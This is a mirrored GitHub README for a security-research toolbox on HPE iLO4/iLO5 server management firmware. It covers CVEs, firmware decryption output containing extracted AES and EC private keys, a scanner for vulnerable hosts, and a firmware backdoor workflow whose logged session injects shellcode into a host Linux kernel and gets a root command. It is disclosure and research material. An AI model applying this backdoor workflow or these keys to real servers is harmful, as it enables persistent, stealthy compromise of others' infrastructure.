Giter VIP home page Giter VIP logo

ilo4_toolbox's Introduction

Subverting your server through its BMC: the HPE iLO4 case

Introduction

iLO is the server management solution embedded in almost every HPE servers for more than 10 years. It provides every feature required by a system administrator to remotely manage a server without having to reach it physically. Such features include power management, remote system console, remote CD/DVD image mounting, as well as many monitoring indicators.

We've performed a deep dive security study of HPE iLO4 (known to be used on the family of servers HPE ProLiant Gen8 and ProLiant Gen9 servers) and the results of this study were presented at the REcon conference held in Brussels (February 2 - 4, 2018, see [1]).

A follow-up of our study was presented at the SSTIC conference, held in France (Rennes, June 13 - 15, 2018, see [8]). We focused this talk on firmware backdooring and achieving long-term persistence.

In November 2018, we presented our latest research on HPE iLO4 and iLO5 at ZeroNights conference, held in Saint-Petersburg, Russia (November 20 - 21, 2018, see [11]). This talk was focused on the attack surface exposed to the host operating system and on the new secure boot feature (silicon root of trust) introduced with iLO5.

iLO4 runs on a dedicated ARM processor embedded in the server, and is totally independent from the main processor. It has a dedicated flash chip to hold its firmware, a dedicated RAM chip and a dedicated network interface. On the software side, the operating system is the proprietary RTOS GreenHills Integrity [2].

Results

One critical vulnerability was identified and reported to the HPE PSRT in February 2017, known as CVE-2017-12542 (CVSSv3 base score 9.8 [3]) :

  • Authentication bypass and remote code execution
  • Fixed in iLO4 versions 2.53 (released in May 2017, buggy) and 2.54 [4]

A second critical vulnerability was identified in iLO4 and iLO5 . It was reported to the HPE PSRT in April 2018 and is known as CVE-2018-7078 (CVSSv3 base score 7.2 [9], HPE Security Bulletin HPESBHF03844 [10]) :

  • Remote or local code execution
  • Fixed in iLO4 version 2.60 (released in May 2018)
  • Fixed in iLO5 version 1.30 (released in June 2018)

A critical vulnerability was identified in the implementation of the secure boot feature of iLO5. It was reported to the HPE PSRT in September 2018 and is known as CVE-2018-7113 (CVSSv3 base score 6.4 [12], HPE Security Bulletin HPESBHF03894 [13]):

  • Local Bypass of Security Restrictions
  • Fixed in iLO5 version 1.37 (released in October 2018)

Finally another critical vulnerability allowing host to iLO arbitrary code execution was reported to HPE in Feb 2021 and is known as CVE-2021-29202 (CVSSv3 base score 6.4, HPE Security Bulletins HPESBHF04121 [19] and HPESBHF04133 [20]). It impacts iLO4 and iLO5.

Slides and demos

REcon Brussels 2018

The slides from our REcon talk are available here . They cover the following points:

  • Firmware unpacking and memory space understanding

  • GreenHills OS Integrity internals:

    • kernel object model
    • virtual memory
    • process isolation
  • Review of exposed attack surface: www, ssh, etc.

  • Vulnerability discovery and exploitation

  • Demonstration of a new exploitation technique that allows to compromise the host server operating system through DMA.

To illustrate them, we also release the three demos as videos. The first one demonstrates the use of the vulnerability we discovered to bypass the authentication from the RedFish API:

https://github.com/airbus-seclab/ilo4_toolbox/blob/master/demos/demo1_connection_bypass.gif

In the second one we show how the vulnerability can also be turned into an arbitrary remote code execution (RCE) in the process of the web server; allowing read access to the iLO file-system for example.

https://github.com/airbus-seclab/ilo4_toolbox/blob/master/demos/demo2_dump_users.gif

Finally, in the third videos, we leverage this RCE to exploit an iLO4 feature which allows us to access (RW) to the host memory and inject a payload in the host Linux kernel.

https://github.com/airbus-seclab/ilo4_toolbox/blob/master/demos/demo3_host_pwn.gif

SSTIC 2018

The slides from our SSTIC talk are available at this location (more details can be found in the paper). After a brief recap of our REcon talk, we propose the following new materials:

  • Firmware security and boot chain analysis
  • Backdoor architecture

To illustrate these works, we release a new demo as video. It demonstrates the use of the vulnerability we discovered in the web server to flash a new backdoored firmware. Then we demonstrate the use of the DMA communication channel to execute arbitrary commands on the host system.

https://github.com/airbus-seclab/ilo4_toolbox/blob/master/demos/demo4_backdoor.gif

ZeroNights 2018

The material we presented at ZeroNights is available from there. It contains two major contributions.

First, an analysis of the communication channel between the host system and the iLO (4 or 5), known as CHIF channel interface. It opens a new attack surface, exposed to the host (even though iLO is set as disabled). We demonstrated that the exploitation of CVE-2018-7078 could allow us to flash a backdoored firmware from the host through this interface.

Then, an in-depth review of the new secure boot feature introduced with iLO5 and HPE Gen10 server line. It covers the complete bootchain, from the iLO ASIC (silicon root of trust) down to the Integrity kernel and userland images. We discovered a logic error (CVE-2018-7113) in the kernel code responsible for the integrity verification of the userland image, which can be exploited to break the chain-of-trust.

To illustrate this defeat of the secure boot feature, we propose the new video below. It demonstrates the exploitation of the logic error to update the iLO5 firmware with a compromised firmware embedding a backdoored userland image in which the banner of the SSH server has been altered.

https://github.com/airbus-seclab/ilo4_toolbox/blob/master/demos/demo5_secure_boot.gif

A proof of concept implementing the secure boot bypass alone is available in ilo5_PoC_secure_boot_bypass.py. The fum vulnerability and HP Signed File signature bypass is demonstrated in ilo5_PoC_fum_sig_bypass.py.

Insomni’Hack 2019

The slides from our talk at Insomni’Hack, available from this link, intend to wrap-up most of our work on the iLO 4 and 5 systems.

A brief analysis of the anti-downgrade feature is introduced, as well as a teaser on the whitepaper we published in collaboration with Adrien Guinet (from Quarkslab) on How to defeat NotPetya from your iLO4.

SSTIC 2021

In this new iteration of our work, presented at SSTIC (paper [17] and slides [18]), we propose an extensive analysis of the new firmware encryption mechanism introduced with HPE iLO5 firmware versions 2.x. The new boot chain, as well as the cryptographic co-processor this feature relies upon are presented, as well as our attack to extract the encryption keys from the system-on-chip(SOC).

Black Hat USA 2021

This talk goes back to the research we presented at SSTIC 2021, with more details given on some OS-level features and exploitation tricks though. Also, the slides [21] are in English.

Related works

A critical vulnerability was identified by Nicolas Iooss from The French National Cybersecurity Agency (ANSSI) in the SSH service of iLO3, iLO4 and iLO5 . It was reported to the HPE PSRT in April 2018 and is known as CVE-2018-7105 (CVSSv3 base score 7.2 [14], HPE Security Bulletin HPESBHF03866 [15]) :

  • Remote execution of arbitrary code, local disclosure of sensitive information
  • Fixed in iLO3 version 1.90 (released in August 2018)
  • Fixed in iLO4 version 2.61 (released in September 2018)
  • Fixed in iLO5 version 1.35 (released in August 2018)

Thank you Nicolas for sharing test and exploitation scripts for this issue.

Using this vulnerability it is also possible to play with PCILeech on HP iLO4 without the need for a modified firmware. Although very slow for a big memory dump, it works very well when targeting specific memory location, as done by the Windows KMD load in PCILeech. See the PCILeech HP iLO4 Service repository [16].

Tooling

To support our research we've developed scripts and tools to help us automatize some tasks, especially firmware unpacking and mapping.

Firmware

ilo4_extract.py script takes an HP Signed file as input (obtained from the update package). It is invoked with:

>python ilo4_extract.py ilo4_244.bin extract

Extract from the output log:

[+] iLO Header 0: iLO4 v 2.44.7 19-Jul-2016
  > magic              : iLO4
  > build_version      :  v 2.44.7 19-Jul-2016
  > type               : 0x08
  > compression_type   : 0x1000
  > field_24           : 0xaf8
  > field_28           : 0x105f57
  > decompressed_size  : 0x16802e0
  > raw_size           : 0xd0ead3
  > load_address       : 0xffffffff
  > field_38           : 0x0
  > field_3C           : 0xffffffff
  > signature

From the extracted file, ilo0.bin is the Integrity applicative image (userland). It contains all the tasks that will run on the iLO system. To parse each of these tasks and generate the IDA Pro loading script, one can use the script dissection.rb.

It relies upon the Metasm framework [5] and also requires the Bindata library [6].

>ruby dissection.rb ilo0.bin

Back to the kernel image, ilo4_extract.py told us that:

[+] iLO Header 1: iLO4 v 0.8.36 16-Nov-2015
  > magic              : iLO4
  > build_version      :  v 0.8.36 16-Nov-2015
  > type               : 0x02
  > compression_type   : 0x1000
  > field_24           : 0x9fd
  > field_28           : 0x100344
  > decompressed_size  : 0xc0438
  > raw_size           : 0x75dad
  > load_address       : 0x20001000
  > field_38           : 0x0
  > field_3C           : 0xffffffff

Using IDA Pro to load the extracted file ilo1.bin at 0x20001000 as ARM code, one can also study the Integrity kernel.

  • secinfo4.py parses the section information embedded into the kernel image and creates the appropriate memory segment in the disassembler
  • parse_mr.py dumps the registered Memory Region objects

iLO5 format differs slightly but is supported as well. ilo5_extract.py and dissection.rb scripts can be used in the same way as for iLO4 to extract the Integrity applicative image.

Firmware encryption

Starting with iLO5 verions 2.x, newer firmware are encrypted. The external enveloppe can be removed using the script ilo5_fw_decrypt.py.

>python ilo5_fw_decrypt.py --infile ilo5_235.bin
[+] input file: "ilo5_235.bin"
[+] skipping HP Signed File fingerprint (2088 bytes)
[+] loading RSA pem ("rsa_private_key_ilo5.asc")
> key size: 4096
[+] aes key material
> aes key: c2447180a96f6ec4b23ed5539a63548118573ccfb9866f5cacf8f13c42c5acbe
> aes iv: d13dcf4b12248561479488ad
--

[+] decrypting
> ok
[+] writing output file "ilo5_235.clear.bin":

           ┌───────────────  firmware header  ───────────────┬──────────────────┐
0x00000000 │ 6e 65 62 61 39 20 30 2e 31 30 2e 31 33 00 00 00 │ neba9 0.10.13... │
0x00000010 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000020 │ 1a 41 dd 4e 02 00 00 00 05 00 01 00 04 00 00 00 │ .A.N............ │
0x00000030 │ 00 00 00 00 00 00 00 00 50 8f 61 6b 00 00 00 00 │ ........P.ak.... │
0x00000040 │ 44 56 00 00 fe 10 5e d7 44 56 00 00 44 56 00 00 │ DV....^.DV..DV.. │
0x00000050 │ ff ff ff ff 00 00 00 00 02 00 00 00 2b 04 f2 81 │ ............+... │
0x00000060 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000070 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000080 │ 43 6f 70 79 72 69 67 68 74 20 32 30 31 39 20 48 │ Copyright 2019 H │
0x00000090 │ 65 77 6c 65 74 74 20 50 61 63 6b 61 72 64 20 45 │ ewlett Packard E │
0x000000a0 │ 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f │ nterprise Develo │
0x000000b0 │ 70 6d 65 6e 74 2c 20 4c 50 00 00 00 00 00 00 00 │ pment, LP....... │
0x000000c0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000d0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000e0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000f0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
           └─────────────────────────────────────────────────┴──────────────────┘
[!] done captain

One can then proceed to the extraction of the various firmware components using ilo5_extract.py. The main userland image is also encrypted. Depending on the version, different private keys are used. The script ilo5_image_decrypt.py comes with some private keys extracted for versions 2.3x and 2.41.

>python ilo5_image_decrypt.py --rawfile elf_secure_241.raw --hdrfile elf_secure_241.hdr
[+] loading header file elf_secure_241.raw
> version string: 2.41
[+] loading elf_secure_241.raw
[+] ec pub key
> pub.pointQ.x: 0x484ed202be9af305af716e7eef2d8b00c6ceba7337ed980a4af96079d06e4b810c15451ba82b9ff10cd830b30376ee39
> pub.pointQ.y: 0x9dd95b116424f44b0e23776e3ed85fa46b76b4922047f993f450ec89134bb7ea0770eaf851b04fa0e074e813ece4df4d
--
[+] ec priv key
> priv.pointQ.x: 0xcf1093db93ad3bb9bb7050e88f417e7b054c37b02b01120318cd88faf5e3b957fa6fa15f64c7cd6d84bdd4e88cac6ea8
> priv.pointQ.y: 0xb1f8f0bd675d05e7e0463823f2f30e2d85f3b75302af65e892451236baff9e15b76a3be2f5d39c37b08f6c65ee14203c
> priv.d: 0xffa8193746dd557afe519993d8c18de66556675d840970265bfa9ba870a2cd84ff2a45d656240631cf91bdbf767c6beb
--

[+] shared secret:
6c20dad5c5751a8ce7b6e012c3fbd5198c142edb9a52bf203a3102d783cbc8c7dd28bcac5739b62922b36e928daae51c
--

[+] aes key material
> aes key: f16f2fa26032cc4de5c9c74d889981b54759f40add797329befaae36067878ea548a6f6a7edae2aae8f877054cfa54c0
> aes iv: cf12bc3b76d5a386c9f74332
--

[+] decrypting
> ok
           ┌───────────────  firmware header  ───────────────┬──────────────────┐
0x00000000 │ 32 2e 34 31 2e 30 32 00 00 00 00 00 00 00 00 00 │ 2.41.02......... │
0x00000010 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000020 │ 1a 41 dd 4e 02 00 00 00 00 00 21 00 05 00 00 00 │ .A.N......!..... │
0x00000030 │ 01 00 00 00 00 00 00 00 b5 11 00 00 00 00 00 00 │ ................ │
0x00000040 │ 05 60 ff 00 24 e0 44 c7 05 60 ff 00 88 ec e8 01 │ .`..$.D..`...... │
0x00000050 │ ff ff ff ff 00 00 00 00 01 00 00 00 17 a6 e3 b6 │ ................ │
0x00000060 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000070 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000080 │ 43 6f 70 79 72 69 67 68 74 20 32 30 32 31 20 48 │ Copyright 2021 H │
0x00000090 │ 65 77 6c 65 74 74 20 50 61 63 6b 61 72 64 20 45 │ ewlett Packard E │
0x000000a0 │ 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f │ nterprise Develo │
0x000000b0 │ 70 6d 65 6e 74 2c 20 4c 50 00 00 00 00 00 00 00 │ pment, LP....... │
0x000000c0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000d0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000e0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000f0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
           └─────────────────────────────────────────────────┴──────────────────┘

Firmware backdooring

The insert_backdoor.sh script can be run on a legitimate firmware file to add a backdoor in the webserver module. The backdoor can then be used using the backdoor_client.py script.

>./insert_backdoor.sh ilo4_250.bin
[...]
[+] Firmware ready to be flashed

>python backdoor_client.py 192.168.42.78
[+] iLO Backdoor found
[-] Linux Backdoor not detected
[...]
>>> ib.install_linux_backdoor()
[*] Dumping kernel...
[+] Dumped 1000000 bytes!
[+] Found syscall table @0xffffffff81a001c0
[+] Found sys_read @0xffffffff8121e510
[+] Found call_usermodehelper @0xffffffff81098520
[+] Found serial8250_do_pm @0xffffffff81528760
[+] Found kthread_create_on_node @0xffffffff810a2000
[+] Found wake_up_process @0xffffffff810ad860
[+] Found __kmalloc @0xffffffff811f8c50
[+] Found slow_virt_to_phys @0xffffffff8106c6a0
[+] Found msleep @0xffffffff810f0050
[+] Found strcat @0xffffffff8140c9c0
[+] Found kernel_read_file_from_path @0xffffffff812236e0
[+] Found vfree @0xffffffff811d7f90
[+] Shellcode written
[+] iLO Backdoor found
[+] Linux Backdoor found
>>> ib.cmd("/usr/bin/id")
[+] Found shared memory page! 0xeab00000 / 0xffff8800eab00000
uid=0(root) gid=0(root) groups=0(root)

Forensics

The exploit_check_flash.py script can be run against an instance of HP iLO4 vulnerable to CVE-2017-12542. Its purpose it to dump the content of the flash and then compare its digest with a known "good" value.

>python exploit_check_flash.py 192.168.42.78 250

Network

Finally, to help people scan for existing vulnerable iLO systems exposed in their own infrastructures, we release a simple Go scanner. It attempts to fetch a special iLO page: /xmldata?item=ALL; if it exists, then it extracts the firmware version and HP server type.

First edit the "targets" variable in the code and specify the internal IP ranges you want to scan.

var (
     targets = []string{
             "10.0.0.0/8",
             "192.168.66.0/23",
             "172.16.133.0/24"}
)

Then compile the code for your OS/architecture.

> env GOOS=target-OS GOARCH=target-architecture go build iloscan.go

For example:

> env GOOS=openbsd GOARCH=amd64 go build iloscan.go
> ./iloscan

Then look the result in /tmp/iloscan.log (can be changed in the source):

> less /tmp/iloscan.log
192.168.66.69{{ RIMP} [{{ HSI} ProLiant DL380 G7}] [{{ MP} 1.80 ILOCZ2069K2S4       ILO583970CZ2069K2S4}]}

Alternatively, you can invoke the binary with a subnet on the command line (individual IP addresses should be specified as a /32 netmask):

> ./iloscan 1.2.3.4/32
Generated 1.2.3.4
Fetching 1.2.3.4
1.2.3.4 status: 200 OK
{{ RIMP} [{{ HSI} ProLiant DL380 Gen9}] [{{ MP} 2.40 ILOCZJ641057H ILO826683CZJ641057H}]}

Authors

  • Fabien PERIGAUD - fabien [dot] perigaud [at] synacktiv [dot] com - @0xf4b
  • Alexandre GAZET - alexandre [dot] gazet [at] airbus [dot] com
  • Joffrey CZARNY - snorky [at] insomnihack [dot] net - @\_Sn0rkY

License

The scripts and scanner are released under the [GPLv2].

References

[1]https://recon.cx/2018/brussels/talks/subvert_server_bmc.html
[2]https://www.ghs.com/products/rtos/integrity.html
[3]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12542
[4]http://h20565.www2.hpe.com/hpsc/doc/public/display?docId=hpesbhf03769en_us
[5]https://github.com/jjyg/metasm
[6]https://github.com/dmendel/bindata
[8]https://www.sstic.org/2018/presentation/backdooring_your_server_through_its_bmc_the_hpe_ilo4_case/
[9]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7078
[10]https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03844en_us
[11]https://2018.zeronights.ru/en/reports/turning-your-bmc-into-a-revolving-door/
[12]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7113
[13]https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03894en_us
[14]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7105
[15]https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03866en_us
[16]https://github.com/Synacktiv/pcileech_hpilo4_service
[17]https://airbus-seclab.github.io/ilo/SSTIC2021-Article-hpe_ilo_5_security_go_home_cryptoprocessor_youre_drunk-gazet_perigaud_czarny.pdf
[18]https://airbus-seclab.github.io/ilo/SSTIC2021-Slides-hpe_ilo_5_security_go_home_cryptoprocessor_youre_drunk-gazet_perigaud_czarny.pdf
[19]https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbhf04121en_us
[20]https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbhf04133en_us
[21]https://airbus-seclab.github.io/ilo/BHUSA2021-Slides-hpe_ilo_5_security_go_home_cryptoprocessor_youre_drunk-gazet_perigaud_czarny.pdf
[GPLv2]https://github.com/airbus-seclab/ilo4_toolbox/blob/master/COPYING

ilo4_toolbox's People

Contributors

0xf4b avatar alexgzt avatar brad-mac avatar f4bsynacktiv avatar fishilico avatar lastpixl avatar nikaiw avatar saidelike avatar sn0rky avatar sultanqasim avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ilo4_toolbox's Issues

iLO4 <= 2.73 reveals HW serial and model unauthenticated via /upnp/BasicDevice.xml

I'm not sure if the issue is already known or not, but it feels like HPE iLO 4 <= 2.60 always reveals the hardware serial number, the model name and the model description when accessing unauthenticated the url http://…/upnp/BasicDevice.xml of HPE iLO. I did not find any way in the HPE iLO interface to disable this, specifically at "Insight Management Integration", the "Level of Data Returned" is set to "Disabled (No Response to Request)".

Completely obsfuscated example from a random HPE iLO4 with firmware 2.60 found on the Internet via port 80 (HTTP) and port 443 (HTTPS):

<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>ILOAB01234C5D</friendlyName>
<manufacturer>Hewlett Packard Enterprise</manufacturer>
<manufacturerURL>http://www.hpe.com/</manufacturerURL>
<modelDescription>iLO 4 in ProLiant DL360 Gen9</modelDescription>
<modelName>iLO 4 in ProLiant DL360 Gen9</modelName>
<modelNumber>2.60</modelNumber>
<modelURL>http://www.hpe.com/info/ilo</modelURL>
<serialNumber>AB01234C5D</serialNumber>
<UDN>uuid:5c745d4b-4316-44a0-be17-4499304f1b9e</UDN>
<iconList>
<icon>
<mimetype>image/x-icon</mimetype>
<width>48</width>
<height>48</height>
<depth>32</depth>
<url>/favicon.ico</url>
</icon>
</iconList>
<presentationURL>/</presentationURL>
</device>
</root>

While this might not be a huge information leak, it still makes the serial number accessible, which is enough to keep the HPE support busy and/or to continue with some social hacking/engineering methods.

Let me know in case the issue is not known to you and this should be followed up with HPE PSRT, but then I would like to ask you for assistance.

dissection.rb fails on ilo4_101.bin

I am not sure if it is a problem similar to #8

Tested with the latest version: a3e4b31

The dissection.rb script does not work on ilo4_101.bin. At that time it is unclear if it is a quirk of this version or a problem with the script itself. From the output below it looks like it is not able to locate the right number of entries for task 0x10, 0x11 and 0x12:

ilo4_toolbox/scripts/iLO4$ ruby dissection.rb ilo4_101.bin_outdir/elf.bin 
ruby: warning: shebang line ending with \r may cause problems
> extract from ilo4_101.bin_outdir/elf.bin
--
[..].

> task 0x0f (C:\ilo4\r101\secmgr\bin\secmgr.elf) - 0x00000039 entries
    range: dw1 0x00 - dw2 0x007 - base 0x00001000 - size 0x0000F000 - id 0xffffffff 
    range: dw1 0x01 - dw2 0x005 - base 0x00010000 - size 0x00066000 - id 0x00000122 - .blackbox.elf.text
    range: dw1 0x00 - dw2 0x007 - base 0x00076000 - size 0x00002000 - id 0xffffffff 
    range: dw1 0x01 - dw2 0x007 - base 0x00078000 - size 0x000D7000 - id 0x00000123 - .blackbox.elf.data
    range: dw1 0x01 - dw2 0x007 - base 0x00150000 - size 0x00004000 - id 0x00000129 - .blackbox.Initial.stack
    range: dw1 0x01 - dw2 0x007 - base 0x00154000 - size 0x000B4000 - id 0x0000012a - .blackbox.heap
    range: dw1 0x00 - dw2 0x007 - base 0x00208000 - size 0x00010000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x107 - base 0x00218000 - size 0x00008000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x107 - base 0x00220000 - size 0x00004000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x00224000 - size 0x003DC000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x00600000 - size 0x01000000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01600000 - size 0x00180000 - id 0xffffffff 
    range: dw1 0x01 - dw2 0x005 - base 0x01780000 - size 0x0002E000 - id 0x00000022 - .libc.so.text
    range: dw1 0x00 - dw2 0x007 - base 0x017ae000 - size 0x00002000 - id 0xffffffff 
    range: dw1 0x01 - dw2 0x007 - base 0x017b0000 - size 0x00001000 - id 0x00000125 - .libc.so.data
    range: dw1 0x00 - dw2 0x007 - base 0x017b1000 - size 0x00003000 - id 0xffffffff 
    range: dw1 0x01 - dw2 0x007 - base 0x017b4000 - size 0x00001000 - id 0x00000126 - .libc.so.bss
    range: dw1 0x00 - dw2 0x007 - base 0x017b5000 - size 0x0002B000 - id 0xffffffff 
    range: dw1 0x01 - dw2 0x005 - base 0x017e0000 - size 0x00007000 - id 0x00000020 - .libINTEGRITY.so.text
    range: dw1 0x00 - dw2 0x007 - base 0x017e7000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x01 - dw2 0x007 - base 0x017e8000 - size 0x00001000 - id 0x00000124 - .libINTEGRITY.so.data
    range: dw1 0x00 - dw2 0x007 - base 0x017e9000 - size 0x00417000 - id 0xffffffff 
    range: dw1 0x01 - dw2 0x005 - base 0x01c00000 - size 0x0003B000 - id 0x00000025 - .libevlog.so.text
    range: dw1 0x00 - dw2 0x007 - base 0x01c3b000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x01 - dw2 0x007 - base 0x01c3c000 - size 0x00002000 - id 0x00000127 - .libevlog.so.data
    range: dw1 0x00 - dw2 0x007 - base 0x01c3e000 - size 0x00002000 - id 0xffffffff 
    range: dw1 0x01 - dw2 0x007 - base 0x01c40000 - size 0x00008000 - id 0x00000128 - .libevlog.so.data
    range: dw1 0x00 - dw2 0x007 - base 0x01c48000 - size 0x002B8000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f00000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f01000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f02000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f03000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f04000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f05000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f06000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f07000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f08000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f09000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f0a000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f0b000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f0c000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f0d000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f0e000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f0f000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f10000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f11000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f12000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f13000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f14000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f15000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f16000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f17000 - size 0x00004000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f1b000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f1c000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f1d000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f1e000 - size 0x00001000 - id 0xffffffff 
    range: dw1 0x00 - dw2 0x007 - base 0x01f1f000 - size 0x000E1000 - id 0xffffffff 

> task 0x10 (C:\ilo4\r101\pwrmgr\bin\pwrmgr.elf) - 0x00000000 entries

> task 0x11 (C:\ilo4\r101\webserv\bin\webserv.elf) - 0x00000000 entries

> task 0x12 (C:\ilo4\r101\ribcl\bin\ribcl.elf) - 0x02a4d869 entries
Traceback (most recent call last):
	19: from dissection.rb:355:in `<main>'
	18: from dissection.rb:255:in `list_boottable'
	17: from (eval):1:in `times'
	16: from (eval):1:in `times'
	15: from dissection.rb:263:in `block in list_boottable'
	14: from (eval):1:in `times'
	13: from (eval):1:in `times'
	12: from dissection.rb:264:in `block (2 levels) in list_boottable'
	11: from /var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/base.rb:21:in `read'
	10: from /var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/base.rb:145:in `read'
	 9: from /var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/base.rb:254:in `start_read'
	 8: from /var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/base.rb:147:in `block in read'
	 7: from /var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/struct.rb:139:in `do_read'
	 6: from /var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/struct.rb:139:in `each'
	 5: from /var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/struct.rb:139:in `block in do_read'
	 4: from /var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/base_primitive.rb:129:in `do_read'
	 3: from (eval):23:in `read_and_return_value'
	 2: from /var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/io.rb:276:in `readbytes'
	 1: from /var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/io.rb:312:in `read'
/var/lib/gems/2.5.0/gems/bindata-2.4.3/lib/bindata/io.rb:162:in `read_raw': undefined method `read' for nil:NilClass (NoMethodError)

linux_backdoor.S is missing

backdoor_client.py requires linux_backdoor.S to inject the backdoor code to Linux side.

However, linux_backdoor.S is missing now, so please upload it for a good demo.

Cannot Flash Backdoored Firmware

I'm unable to flash the firmware created using insert_backdoor.sh.

